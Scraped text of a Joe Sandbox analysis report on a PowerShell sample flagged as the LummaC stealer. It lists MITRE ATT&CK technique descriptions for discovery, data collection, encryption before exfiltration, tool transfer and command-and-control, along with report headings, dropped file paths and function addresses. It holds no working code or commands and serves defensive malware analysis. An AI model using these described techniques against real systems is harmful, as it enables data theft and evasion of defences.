Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 62.122.184.98 (3).ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0yomkru3.2af.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pegn3lg3.150.psm1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3762TWKVDB5T2HC0WUS4.temp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
62.122.184.98 (3).ps1

Function 00007FF7C0FDD878 Relevance: 1.6, APIs: 1, Instructions: 128
threadCOMMON

Function 0043B500 Relevance: 30.5, APIs: 11, Strings: 6, Instructions: 745
memorycomCOMMON

Function 00410409 Relevance: 23.6, APIs: 2, Strings: 11, Instructions: 801
COMMON

Function 00414E18 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 710
COMMON

Function 00408860 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 190
threadCOMMON

Function 004097E0 Relevance: 9.2, Strings: 7, Instructions: 404
COMMON

Function 00424D94 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 445
COMMON

Function 004368B6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115
COMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre